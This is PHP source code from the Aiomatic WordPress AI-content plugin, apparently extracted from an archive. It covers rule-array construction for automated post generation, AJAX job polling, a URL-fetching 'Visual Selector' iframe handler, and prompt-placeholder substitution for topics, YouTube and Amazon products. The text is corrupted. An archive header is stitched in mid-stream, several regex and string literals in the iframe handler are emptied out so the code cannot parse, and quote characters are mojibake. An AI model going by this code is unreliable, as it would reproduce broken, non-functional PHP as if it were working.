$post_data['global_append'];//global_append $inner_arr[] = $post_data['search_query_repetition'];//search_query_repetition $inner_arr[] = '';//days_no_run $inner_arr[] = '0';//overwrite_existing $inner_arr[] = $post_data['link_nofollow'];//link_nofollow $inner_arr[] = '';//parent_id $inner_arr[] = uniqid();//rule_unique_id $inner_arr[] = $post_data['point_of_view'];//point_of_view $inner_arr[] = $post_data['sections_prompt'];//sections_prompt $inner_arr[] = $post_data['topic_sections_model'];//topic_sections_model $inner_arr[] = $post_data['post_sections_list'];//post_sections_list $inner_arr[] = $post_data['section_count'];//section_count $inner_arr[] = $post_data['proscons_prompt'];//proscons_prompt $inner_arr[] = $post_data['topic_proscons_model'];//topic_proscons_model $inner_arr[] = $post_data['title_proscons'];//title_proscons $inner_arr[] = $post_data['enable_proscons'];//enable_proscons $inner_arr[] = $post_data['title_reviews'];//title_reviews $inner_arr[] = $post_data['enable_reviews'];//enable_reviews $inner_arr[] = $post_data['reviews_prompt'];//reviews_prompt $inner_arr[] = $post_data['topic_reviews_model'];//topic_reviews_model $inner_arr[] = $post_data['no_headlink'];//no_headlink $inner_arr[] = $post_data['image_model'];//image_model $inner_arr[] = $post_data['assistant_id'];//assistant_id $type = 3; } elseif($selected == '5') { $inner_arr = array(); $inner_arr[] = '24';//schedule $inner_arr[] = '1';//active $inner_arr[] = '1988-01-27 00:00:00';//last_run $inner_arr[] = '1';//max $inner_arr[] = 'publish';//post_status $inner_arr[] = 'post';//post_type $inner_arr[] = 'rand';//post_user_name $inner_arr[] = '0';//enable_comments $inner_arr[] = $post_data['post_title'];//post_title $inner_arr[] = '0';//enable_pingback $inner_arr[] = 'post-format-standard';//post_format $inner_arr[] = '';//custom_fields $inner_arr[] = '';//custom_tax $inner_arr[] = '';//wpml_lang $inner_arr[] = $post_data['strip_title'];//strip_title $inner_arr[] = '0';//title_once $inner_arr[] = '';//min_time $inner_arr[] = '';//max_time $inner_arr[] = $post_data['skip_spin'];//skip_spin $inner_arr[] = $post_data['skip_translate'];//skip_translate $inner_arr[] = '';//rule_description $inner_arr[] = $post_data['strip_by_regex'];//strip_by_regex $inner_arr[] = $post_data['replace_regex'];//replace_regex $inner_arr[] = $post_data['max_links'];//max_links $inner_arr[] = $post_data['link_post_types'];//link_post_types $inner_arr[] = $post_data['link_type'];//link_type $inner_arr[] = $post_data['link_list'];//link_list $inner_arr[] = '';//days_no_run $inner_arr[] = '0';//overwrite_existing $inner_arr[] = $post_data['link_nofollow'];//link_nofollow $inner_arr[] = '';//parent_id $inner_arr[] = uniqid();//rule_unique_id $inner_arr[] = '1';//remove_default $inner_arr[] = $post_data['random_order'];//random_order $inner_arr[] = $post_data['csv_separator'];//csv_separator $type = 4; } elseif($selected == '6') { $inner_arr = array(); $inner_arr[] = '24';//schedule $inner_arr[] = '1';//active $inner_arr[] = '1988-01-27 00:00:00';//last_run $inner_arr[] = '1';//max $inner_arr[] = 'publish';//post_status $inner_arr[] = 'post';//post_type $inner_arr[] = 'rand';//post_user_name $inner_arr[] = '';//item_create_tag $inner_arr[] = array('aiomatic_no_category_12345678');//default_category $inner_arr[] = 'disabled';//auto_categories $inner_arr[] = 'disabled';//can_create_tag $inner_arr[] = '0';//enable_comments $inner_arr[] = '';//image_url $inner_arr[] = 'test';//post_title $inner_arr[] = '0';//enable_pingback $inner_arr[] = 'post-format-standard';//post_format $inner_arr[] = '';//custom_fields $inner_arr[] = '';//custom_tax $inner_arr[] = $post_data['temperature'];//temperature $inner_arr[] = $post_data['top_p'];//top_p $inner_arr[] = $post_data['presence_penalty'];//presence_penalty $inner_arr[] = $post_data['frequency_penalty'];//frequency_penalty $inner_arr[] = '0';//royalty_free $inner_arr[] = $post_data['max_tokens'];//max_tokens $inner_arr[] = $post_data['max_seed_tokens'];//max_seed_tokens $inner_arr[] = $post_data['post_prepend'];//post_prepend $inner_arr[] = $post_data['post_append'];//post_append $inner_arr[] = $post_data['enable_ai_images'];//enable_ai_images $inner_arr[] = $post_data['ai_command_image'];//ai_command_image $inner_arr[] = $post_data['image_size'];//image_size $inner_arr[] = '';//wpml_lang $inner_arr[] = '1';//remove_default $inner_arr[] = $post_data['strip_title'];//strip_title $inner_arr[] = '0';//title_once $inner_arr[] = 'gpt-4o-mini';//category_model $inner_arr[] = '';//category_ai_command $inner_arr[] = 'gpt-4o-mini';//tag_model $inner_arr[] = '';//tag_ai_command $inner_arr[] = '';//min_time $inner_arr[] = '';//max_time $inner_arr[] = $post_data['skip_spin'];//skip_spin $inner_arr[] = $post_data['skip_translate'];//skip_translate $inner_arr[] = $post_data['post_topic_list'];//post_topic_list $inner_arr[] = $post_data['post_sections_list'];//post_sections_list $inner_arr[] = $post_data['content_language'];//content_language $inner_arr[] = $post_data['writing_style'];//writing_style $inner_arr[] = $post_data['writing_tone'];//writing_tone $inner_arr[] = $post_data['title_prompt'];//title_prompt $inner_arr[] = $post_data['sections_prompt'];//sections_prompt $inner_arr[] = $post_data['content_prompt'];//content_prompt $inner_arr[] = $post_data['excerpt_prompt'];//excerpt_prompt $inner_arr[] = $post_data['section_count'];//section_count $inner_arr[] = $post_data['paragraph_count'];//paragraph_count $inner_arr[] = $post_data['topic_title_model'];//topic_title_model $inner_arr[] = $post_data['topic_sections_model'];//topic_sections_model $inner_arr[] = $post_data['topic_content_model'];//topic_content_model $inner_arr[] = $post_data['topic_excerpt_model'];//topic_excerpt_model $inner_arr[] = $post_data['single_content_call'];//single_content_call $inner_arr[] = $post_data['intro_prompt'];//intro_prompt $inner_arr[] = $post_data['topic_intro_model'];//topic_intro_model $inner_arr[] = $post_data['outro_prompt'];//outro_prompt $inner_arr[] = $post_data['topic_outro_model'];//topic_outro_model $inner_arr[] = $post_data['topic_images'];//topic_images $inner_arr[] = $post_data['sections_role'];//sections_role $inner_arr[] = $post_data['topic_videos'];//topic_videos $inner_arr[] = '';//rule_description $inner_arr[] = $post_data['custom_shortcodes'];//custom_shortcodes $inner_arr[] = $post_data['strip_by_regex'];//strip_by_regex $inner_arr[] = $post_data['replace_regex'];//replace_regex $inner_arr[] = $post_data['strip_by_regex_prompts'];//strip_by_regex_prompts $inner_arr[] = $post_data['replace_regex_prompts'];//replace_regex_prompts $inner_arr[] = $post_data['run_regex_on'];//run_regex_on $inner_arr[] = $post_data['max_links'];//max_links $inner_arr[] = $post_data['link_post_types'];//link_post_types $inner_arr[] = $post_data['enable_toc'];//enable_toc $inner_arr[] = $post_data['title_toc'];//title_toc $inner_arr[] = $post_data['qa_prompt'];//qa_prompt $inner_arr[] = $post_data['topic_qa_model'];//topic_qa_model $inner_arr[] = $post_data['enable_qa'];//enable_qa $inner_arr[] = $post_data['title_qa'];//title_qa $inner_arr[] = $post_data['title_outro'];//title_outro $inner_arr[] = $post_data['link_type'];//link_type $inner_arr[] = $post_data['link_list'];//link_list $inner_arr[] = '';//skip_inexist $inner_arr[] = $post_data['global_prepend'];//global_prepend $inner_arr[] = $post_data['global_append'];//global_append $inner_arr[] = $post_data['search_query_repetition'];//search_query_repetition $inner_arr[] = $post_data['img_all_headings'];//img_all_headings $inner_arr[] = $post_data['heading_img_location'];//heading_img_location $inner_arr[] = '';//days_no_run $inner_arr[] = '';//overwrite_existing $inner_arr[] = $post_data['link_nofollow'];//link_nofollow $inner_arr[] = $post_data['title_generator_method'];//title_generator_method $inner_arr[] = '';//parent_id $inner_arr[] = '';//rule_unique_id $inner_arr[] = $post_data['image_model'];//image_model $inner_arr[] = $post_data['assistant_id'];//assistant_id $type = 6; } $rules = array($inner_arr); $return_me = aiomatic_run_rule(0, $type, 0, 1, $rules, '', ''); if(!is_array($return_me) || !isset($return_me[0]) || !isset($return_me[1])) { wp_send_json_error( array( 'message' => 'Rule running failed: ' . print_r($return_me, true)) ); } else { wp_send_json_success( array( 'content' => $return_me[0], 'title' => $return_me[1] ) ); } wp_send_json_error( array( 'message' => 'Incorrect query!' ) ); die(); } add_action( 'wp_ajax_aiomatic_poll_single_advanced_job', 'aiomatic_poll_single_advanced_job' ); function aiomatic_poll_single_advanced_job() { $nonce = isset($_POST['nonce']) ? $_POST['nonce'] : ''; $nonce_verified = wp_verify_nonce($nonce, 'openai-single-nonce'); if (!$nonce_verified) { $status = array('status' => 'failed', 'data' => 'Security check failed!'); echo json_encode($status); wp_die(); } if(!isset($_POST['job_id'])) { $status = array('status' => 'failed', 'data' => 'job_id is required!'); echo json_encode($status); wp_die(); } $job_id = $_POST['job_id']; $status = aiomatic_job_get_status(trim($job_id)); if($status === false) { $status = array('status' => 'failed', 'data' => 'Job not found in database'); } echo json_encode($status); wp_die(); } add_action( 'wp_ajax_aiomatic_iframe', 'aiomatic_iframe_callback' ); function aiomatic_iframe_callback() { check_ajax_referer('openai-omni-nonce', 'nonce'); require_once (dirname(__FILE__) . "/aiomatic-scraper.php"); if(!current_user_can('access_aiomatic_menu')) die(); $started = '%3Cs'; $url = null; $cookie = isset($_GET['crawlCookie']) ? $_GET['crawlCookie'] : '' ; $clickelement = isset($_GET['clickelement']) ? $_GET['clickelement'] : '' ; $use_phantom = isset($_GET['usephantom']) ? $_GET['usephantom'] : '' ; $customUA = isset($_GET['customUA']) ? $_GET['customUA'] : '' ; $htuser = isset($_GET['htuser']) ? $_GET['htuser'] : '' ; $phantom_wait = isset($_GET['phantom_wait']) ? $_GET['phantom_wait'] : '' ; $request_delay = isset($_GET['request_delay']) ? $_GET['request_delay'] : '' ; $scripter = isset($_GET['scripter']) ? $_GET['scripter'] : '' ; $local_storage = isset($_GET['local_storage']) ? $_GET['local_storage'] : '' ; $auto_captcha = isset($_GET['auto_captcha']) ? $_GET['auto_captcha'] : '' ; $enable_adblock = isset($_GET['enable_adblock']) ? $_GET['enable_adblock'] : '' ; $url = $_GET['address']; if($customUA == 'random') { $customUA = aiomatic_get_random_user_agent(); } if ( !$url ) { aiomatic_log_to_file('URL field empty when using Visual Selector.'); exit(); } $content = false; $got_phantom = false; if($use_phantom == '1') { $content = aiomatic_get_page_PhantomJS($url, $cookie, $customUA, '1', $htuser, $phantom_wait, $request_delay, $scripter, $local_storage); if($content !== false) { $got_phantom = true; } } elseif($use_phantom == '2') { $content = aiomatic_get_page_Puppeteer($url, $cookie, $customUA, '1', $htuser, $phantom_wait, $request_delay, $scripter, $local_storage); if($content !== false) { $got_phantom = true; } } elseif($use_phantom == '3') { $content = aiomatic_get_page_Tor($url, $cookie, $customUA, '1', $htuser, $phantom_wait, $request_delay, $scripter, $local_storage); if($content !== false) { $got_phantom = true; } } elseif($use_phantom == '4') { $content = aiomatic_get_page_PuppeteerAPI($url, $cookie, $customUA, '1', $htuser, $phantom_wait, $request_delay, $scripter, $local_storage, $auto_captcha, $enable_adblock, $clickelement); if($content !== false) { $got_phantom = true; } } elseif($use_phantom == '5') { $content = aiomatic_get_page_TorAPI($url, $cookie, $customUA, '1', $htuser, $phantom_wait, $request_delay, $scripter, $local_storage, $auto_captcha, $enable_adblock, $clickelement); if($content !== false) { $got_phantom = true; } } elseif($use_phantom == '6') { $content = aiomatic_get_page_PhantomJSAPI($url, $cookie, $customUA, '1', $htuser, $phantom_wait, $request_delay, $scripter, $local_storage); if($content !== false) { $got_phantom = true; } } if($got_phantom === false) { if (!aiomatic_check_if_phantom($use_phantom)) { $content = aiomatic_get_web_page($url, $cookie); } } if ( empty($content) ) { if(empty($url)) { $url = ''; } aiomatic_log_to_file('Failed to get page when using Visual Selector: ' . esc_url_raw($url)); echo 'Failed to get page when using Visual Selector: ' . esc_url_raw($url); header('404 Not Found'); exit(); } if ( !preg_match('/'; $content = str_replace('', $base . '', $content); } $content = preg_replace('/src="\/\/(.*?)"/', 'src="https://$1"', $content); $content = preg_replace('/href="\/\/(.*?)"/', 'href="https://$1"', $content); if ( preg_match('!^https?://[^/]+!', $url, $matches) ) { $stem = $matches[0]; $content1 = preg_replace('!(\s)(src|href)(=")\/!i', "\\1\\2\\3$stem/", $content); if($content1 !== null) { $content = $content1; } $content1 = preg_replace('!(\s)(url)(\s*\(\s*["\']?)\/!i', "\\1\\2\\3$stem/", $content); if($content1 !== null) { $content = $content1; } } $content = aiomatic_fix_links($content, $url); $content1 = preg_replace('{}s', '', $content); if($content1 !== null) { $content = $content1; } echo $content . urldecode($started . "tyle%3E%5Bclass~%3Dhighlight%5D%7Bbox-shadow%3Ainset%200%200%200%201000px%20rgba%28255%2C0%2C0%2C.5%29%20%21important%3B%7D%5Bclass~%3Dhighlight%5D%7Boutline%3A.010416667in%20solid%20red%20%21important%3B%7D") . urldecode("%3C%2Fstyle%3E"); die(); } ?>aiomatic-rules.php000064400007312236147577714370010237 0ustar00 'Incorrect prompt provided!' ) ); } $query_token_count = count(aiomatic_encode($prompt)); $available_tokens = $max_tokens - $query_token_count; } $aierror = ''; $finish_reason = ''; if(!empty($global_prepend)) { $prompt = $global_prepend . ' ' . $prompt; } if(!empty($global_append)) { $prompt = $prompt . ' ' . $global_append; } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $model); aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '/' . $model . ') for topic ' . $source . ' text: ' . $prompt); } $generated_text = aiomatic_generate_text($token, $model, $prompt, $available_tokens, $temperature, $max_p, $presence_penalty, $frequency_penalty, false, 'topicContentWriter' . $source, 0, $finish_reason, $aierror, $no_internet, $no_embeddings, false, '', '', $role, $assistant_id, $thread_id, '', 'disabled', '', true); if($generated_text === false) { aiomatic_log_to_file('Failed to generate content using AI writer: ' . $model . ' - error: ' . $aierror); } else { $new_post_content = aiomatic_sanitize_ai_result($generated_text); if(empty($new_post_content)) { aiomatic_log_to_file('No content returned by the AI writer: ' . $model . ' - prompt: ' . $prompt); return false; } else { if($finish_reason == 'length') { $query_token_count = count(aiomatic_encode($new_post_content)); $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $new_post_content, $query_token_count); $generated_text = aiomatic_generate_text($token, $model, $new_post_content, $available_tokens, $temperature, $max_p, $presence_penalty, $frequency_penalty, false, 'topicContentWriter' . $source, 0, $finish_reason, $aierror, $no_internet, $no_embeddings, false, '', '', $role, $assistant_id, $thread_id, '', 'disabled', '', true); if($generated_text !== false) { $new_post_content .= ' ' . ucfirst(trim(nl2br(trim($generated_text)))); } } } } return $new_post_content; } function aiomatic_replacetopics($prompt, $title, $language, $writing_style, $writing_tone, $topics, $sections, $current_section, $sections_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list = '') { $blog_title = html_entity_decode(get_bloginfo('title')); if(empty($topics)) { $topics = ''; } $prompt = str_replace('%%topic%%', $topics, $prompt); $prompt = str_replace('%%title%%', $title, $prompt); $prompt = str_replace('%%post_title%%', $title, $prompt); $prompt = str_replace('%%post_title_keywords%%', $post_title_keywords, $prompt); $prompt = str_replace('%%post_original_title%%', $title, $prompt); $prompt = str_replace('%%blog_title%%', $blog_title, $prompt); $prompt = str_replace('%%language%%', $language, $prompt); $prompt = str_replace('%%writing_style%%', $writing_style, $prompt); $prompt = str_replace('%%writing_tone%%', $writing_tone, $prompt); $prompt = str_replace('%%sections%%', $sections, $prompt); $prompt = str_replace('%%current_section%%', $current_section, $prompt); $prompt = str_replace('%%sections_count%%', $sections_count, $prompt); $prompt = str_replace('%%paragraphs_per_section%%', $paragraph_count, $prompt); $prompt = str_replace('%%random_sentence%%', aiomatic_random_sentence_generator(), $prompt); $prompt = str_replace('%%random_sentence2%%', aiomatic_random_sentence_generator(false), $prompt); $prompt = aiomatic_replaceSynergyShortcodes($prompt); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { aiomatic_log_to_file('You need to insert a valid OpenAI/AiomaticAPI API Key for the custom shortcode creator to work!'); } else { $allmodels = aiomatic_get_all_models(); $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; if($custom_shortcodes != '' && !is_array($custom_shortcodes)) { $custom_shortcodes = aiomatic_replacetopics($custom_shortcodes, $title, $language, $writing_style, $writing_tone, $topics, $sections, $current_section, $sections_count, $paragraph_count, $post_title_keywords, '', $global_prepend, $global_append, $default_cat_list); } $custom_shortcodes = preg_split('/\r\n|\r|\n/', $custom_shortcodes); foreach($custom_shortcodes as $my_short) { $name_part = explode('=>', $my_short); if(isset($name_part[1]) && !empty(trim($name_part[1]))) { $shortname = trim($name_part[0]); if(strstr($prompt, '%%' . $shortname . '%%')) { $shortval = ''; $ai_part = explode('@@', $name_part[1]); if(isset($ai_part[1]) && !empty(trim($ai_part[1]))) { if(!in_array(trim($ai_part[0]), $allmodels)) { $aimodel = get_default_model_name($aiomatic_Main_Settings); } else { $aimodel = trim($ai_part[0]); } $ai_command = trim($ai_part[1]); $ai_command = apply_filters('aiomatic_replace_aicontent_shortcode', $ai_command); $max_tokens = aiomatic_get_max_tokens($aimodel); $query_token_count = count(aiomatic_encode($ai_command)); $available_tokens = aiomatic_compute_available_tokens($aimodel, $max_tokens, $ai_command, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($ai_command); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $ai_command = aiomatic_substr($ai_command, 0, $string_len); $ai_command = trim($ai_command); $query_token_count = count(aiomatic_encode($ai_command)); $available_tokens = $max_tokens - $query_token_count; } $thread_id = ''; $aierror = ''; $finish_reason = ''; $temperature = 1; $top_p = 1; $presence_penalty = 0; $frequency_penalty = 0; if(!empty($global_prepend)) { $ai_command = $global_prepend . ' ' . $ai_command; } if(!empty($global_append)) { $ai_command = $ai_command . ' ' . $global_append; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $aimodel); aiomatic_log_to_file('Calling ' . $api_service . ' (' . $aimodel . ') for custom shortcode text: ' . $ai_command); } $generated_text = aiomatic_generate_text($token, $aimodel, $ai_command, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'customShortcode', 0, $finish_reason, $aierror, true, false, false, '', '', 'user', '', $thread_id, '', 'disabled', '', true); if($generated_text === false) { aiomatic_log_to_file('Custom shortcode generator error: ' . $aierror); } else { $shortval = trim(trim(trim(trim($generated_text), '.'), ' “â€â€˜â€™"\'')); } } $prompt = str_replace('%%' . $shortname . '%%', $shortval, $prompt); } } } } $prompt = str_replace('%%default_post_cats%%', $default_cat_list, $prompt); $prompt = apply_filters('aiomatic_replace_aicontent_shortcode', $prompt); preg_match_all('#%%related_questions_([^%]*?)%%#i', $prompt, $mxatches); if(isset($mxatches[1][0])) { foreach($mxatches[1] as $googlematch) { $mtchres = aiomatic_scrape_related_questions($googlematch, 5, '', 1, 1, 0, 0, 2000, '', ''); if(is_array($mtchres) && !empty($mtchres)) { $quests = array(); foreach($mtchres as $mra) { $quests[] = $mra['q']; } $mtchres = implode(',', $quests); } $prompt = str_ireplace('%%related_questions_' . $googlematch . '%%', $mtchres, $prompt); } } return $prompt; } function aiomatic_replace_youtube($prompt, $video_title, $post_desc, $vid_url, $returned_caption, $language, $writing_style, $writing_tone, $sections, $current_section, $sections_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list = '') { $blog_title = html_entity_decode(get_bloginfo('title')); $prompt = str_replace('%%video_title%%', $video_title, $prompt); $prompt = str_replace('%%video_descripton%%', $post_desc, $prompt); $prompt = str_replace('%%video_url%%', $vid_url, $prompt); $regex = '/(?:https?:\/\/)?(?:www\.)?(?:youtube\.com\/(?:[^\/\n\s]+\/\S+\/|(?:v|e(?:mbed)?)\/|\S*?[?&]v=)|youtu\.be\/)([a-zA-Z0-9_-]{11})/'; if (preg_match($regex, $vid_url, $matches)) { $prompt = str_replace('%%video_id%%', $matches[1], $prompt); } else { $prompt = str_replace('%%video_id%%', '', $prompt); } $prompt = str_replace('%%video_captions%%', $returned_caption, $prompt); $prompt = str_replace('%%post_title_keywords%%', $post_title_keywords, $prompt); $prompt = str_replace('%%blog_title%%', $blog_title, $prompt); $prompt = str_replace('%%language%%', $language, $prompt); $prompt = str_replace('%%writing_style%%', $writing_style, $prompt); $prompt = str_replace('%%writing_tone%%', $writing_tone, $prompt); $prompt = str_replace('%%sections%%', $sections, $prompt); $prompt = str_replace('%%current_section%%', $current_section, $prompt); $prompt = str_replace('%%sections_count%%', $sections_count, $prompt); $prompt = str_replace('%%paragraphs_per_section%%', $paragraph_count, $prompt); $prompt = str_replace('%%random_sentence%%', aiomatic_random_sentence_generator(), $prompt); $prompt = str_replace('%%random_sentence2%%', aiomatic_random_sentence_generator(false), $prompt); $prompt = aiomatic_replaceSynergyShortcodes($prompt); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { aiomatic_log_to_file('You need to insert a valid OpenAI/AiomaticAPI API Key for the custom shortcode creator to work!'); } else { $allmodels = aiomatic_get_all_models(); $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; if($custom_shortcodes != '' && !is_array($custom_shortcodes)) { $custom_shortcodes = aiomatic_replace_youtube($custom_shortcodes, $video_title, $post_desc, $vid_url, $returned_caption, $language, $writing_style, $writing_tone, $sections, $current_section, $sections_count, $paragraph_count, $post_title_keywords, '', $global_prepend, $global_append, $default_cat_list); } $custom_shortcodes = preg_split('/\r\n|\r|\n/', $custom_shortcodes); foreach($custom_shortcodes as $my_short) { $name_part = explode('=>', $my_short); if(isset($name_part[1]) && !empty(trim($name_part[1]))) { $shortname = trim($name_part[0]); if(strstr($prompt, '%%' . $shortname . '%%')) { $shortval = ''; $ai_part = explode('@@', $name_part[1]); if(isset($ai_part[1]) && !empty(trim($ai_part[1]))) { if(!in_array(trim($ai_part[0]), $allmodels)) { $aimodel = get_default_model_name($aiomatic_Main_Settings); } else { $aimodel = trim($ai_part[0]); } $ai_command = trim($ai_part[1]); $ai_command = apply_filters('aiomatic_replace_aicontent_shortcode', $ai_command); $max_tokens = aiomatic_get_max_tokens($aimodel); $query_token_count = count(aiomatic_encode($ai_command)); $available_tokens = aiomatic_compute_available_tokens($aimodel, $max_tokens, $ai_command, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($ai_command); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $ai_command = aiomatic_substr($ai_command, 0, $string_len); $ai_command = trim($ai_command); $query_token_count = count(aiomatic_encode($ai_command)); $available_tokens = $max_tokens - $query_token_count; } $thread_id = ''; $aierror = ''; $finish_reason = ''; $temperature = 1; $top_p = 1; $presence_penalty = 0; $frequency_penalty = 0; if(!empty($global_prepend)) { $ai_command = $global_prepend . ' ' . $ai_command; } if(!empty($global_append)) { $ai_command = $ai_command . ' ' . $global_append; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $aimodel); aiomatic_log_to_file('Calling ' . $api_service . ' (' . $aimodel . ') for custom shortcode text: ' . $ai_command); } $generated_text = aiomatic_generate_text($token, $aimodel, $ai_command, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'customShortcode', 0, $finish_reason, $aierror, true, false, false, '', '', 'user', '', $thread_id, '', 'disabled', '', true); if($generated_text === false) { aiomatic_log_to_file('Custom shortcode generator error: ' . $aierror); } else { $shortval = trim(trim(trim(trim($generated_text), '.'), ' “â€â€˜â€™"\'')); } } $prompt = str_replace('%%' . $shortname . '%%', $shortval, $prompt); } } } } $prompt = str_replace('%%default_post_cats%%', $default_cat_list, $prompt); $prompt = apply_filters('aiomatic_replace_aicontent_shortcode', $prompt); preg_match_all('#%%related_questions_([^%]*?)%%#i', $prompt, $mxatches); if(isset($mxatches[1][0])) { foreach($mxatches[1] as $googlematch) { $mtchres = aiomatic_scrape_related_questions($googlematch, 5, '', 1, 1, 0, 0, 2000, '', ''); if(is_array($mtchres) && !empty($mtchres)) { $quests = array(); foreach($mtchres as $mra) { $quests[] = $mra['q']; } $mtchres = implode(',', $quests); } $prompt = str_ireplace('%%related_questions_' . $googlematch . '%%', $mtchres, $prompt); } } return $prompt; } function aiomatic_replace_amazon($prompt, $post_title, $search_keywords, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, $sections, $current_section, $sections_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $product_reviews, $default_cat_list = '', $item_score = '', $edition = '', $language = '', $pages_count = '', $publication_date = '', $contributors = '', $manufacturer = '', $binding = '', $product_group = '', $rating = '', $eans = '', $part_no = '', $model = '', $warranty = '', $color = '', $is_adult = 'false', $dimensions = '', $date = '', $size = '', $unit_count = '', $amazresult = array()) { $blog_title = html_entity_decode(get_bloginfo('title')); $prompt = str_replace('%%search_keywords%%', $search_keywords, $prompt); $prompt = str_replace('%%post_title%%', $post_title, $prompt); $prompt = str_replace('%%product_title%%', $product_title, $prompt); $prompt = str_replace('%%product_description%%', $product_description, $prompt); $prompt = str_replace('%%aff_url%%', $aff_url, $prompt); $prompt = str_replace('%%product_author%%', $product_author, $prompt); $prompt = str_replace('%%offer_price%%', $offer_price, $prompt); $prompt = str_replace('%%product_price%%', $product_price, $prompt); $prompt = str_replace('%%product_list_price%%', $product_list_price, $prompt); $prompt = str_replace('%%price_numeric%%', $price_numeric, $prompt); $prompt = str_replace('%%price_currency%%', $price_currency, $prompt); $prompt = str_replace('%%product_brand%%', $product_brand, $prompt); $prompt = str_replace('%%product_reviews%%', $product_reviews, $prompt); $prompt = str_replace('%%product_isbn%%', $product_isbn, $prompt); $prompt = str_replace('%%product_upc%%', $product_upc, $prompt); $prompt = str_replace('%%product_asin%%', $product_asin, $prompt); $prompt = str_replace('%%cart_url%%', $cart_url, $prompt); $prompt = str_replace('%%list_price_numeric%%', $list_price_numeric, $prompt); $prompt = str_replace('%%product_imgs%%', $product_imgs, $prompt); $prompt = str_replace('%%product_imgs%%', $product_imgs, $prompt); $product_info = ''; foreach($amazresult as $amr) { if(empty($product_info)) { $product_info .= '\n\n--------------\n\n'; } $product_info .= 'Title: ' . $amr->offer_title . '\n\n'; $product_info .= 'Desciption: ' . $amr->offer_desc . '\n\n'; $product_info .= 'Price: ' . $amr->offer_price . '\n\n'; $product_info .= 'Image: ' . $amr->offer_img . '\n\n'; $product_info .= 'URL: ' . $amr->offer_url . '\n\n'; $product_info .= '--------------\n\n'; } //new $prompt = str_replace('%%product_score%%', $item_score, $prompt); $prompt = str_replace('%%product_edition%%', $edition, $prompt); $prompt = str_replace('%%product_language%%', $language, $prompt); $prompt = str_replace('%%product_pages_count%%', $pages_count, $prompt); $prompt = str_replace('%%product_publication_date%%', $publication_date, $prompt); $prompt = str_replace('%%product_contributors%%', $contributors, $prompt); $prompt = str_replace('%%product_manufacturer%%', $manufacturer, $prompt); $prompt = str_replace('%%product_binding%%', $binding, $prompt); $prompt = str_replace('%%product_product_group%%', $product_group, $prompt); $prompt = str_replace('%%product_rating%%', $rating, $prompt); $prompt = str_replace('%%product_ean%%', $eans, $prompt); $prompt = str_replace('%%product_part_no%%', $part_no, $prompt); $prompt = str_replace('%%product_model%%', $model, $prompt); $prompt = str_replace('%%product_warranty%%', $warranty, $prompt); if($color === null) { $color = ''; } $prompt = str_replace('%%product_color%%', $color, $prompt); $prompt = str_replace('%%product_is_adult%%', $is_adult, $prompt); $prompt = str_replace('%%product_dimensions%%', $dimensions, $prompt); $prompt = str_replace('%%product_date%%', $date, $prompt); $prompt = str_replace('%%product_size%%', $size, $prompt); $prompt = str_replace('%%product_unit_count%%', $unit_count, $prompt); $prompt = str_replace('%%all_product_info%%', $product_info, $prompt); $prompt = str_replace('%%all_product_titles%%', $product_titles, $prompt); $prompt = str_replace('%%post_title_keywords%%', $post_title_keywords, $prompt); $prompt = str_replace('%%blog_title%%', $blog_title, $prompt); $prompt = str_replace('%%language%%', $content_language, $prompt); $prompt = str_replace('%%writing_style%%', $writing_style, $prompt); $prompt = str_replace('%%writing_tone%%', $writing_tone, $prompt); $prompt = str_replace('%%sections%%', $sections, $prompt); $prompt = str_replace('%%current_section%%', $current_section, $prompt); $prompt = str_replace('%%sections_count%%', $sections_count, $prompt); $prompt = str_replace('%%paragraphs_per_section%%', $paragraph_count, $prompt); $prompt = str_replace('%%random_sentence%%', aiomatic_random_sentence_generator(), $prompt); $prompt = str_replace('%%random_sentence2%%', aiomatic_random_sentence_generator(false), $prompt); $prompt = aiomatic_replaceSynergyShortcodes($prompt); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { aiomatic_log_to_file('You need to insert a valid OpenAI/AiomaticAPI API Key for the custom shortcode creator to work!'); } else { $allmodels = aiomatic_get_all_models(); $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; if($custom_shortcodes != '' && !is_array($custom_shortcodes)) { $custom_shortcodes = aiomatic_replace_amazon($custom_shortcodes, $post_title, $search_keywords, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, 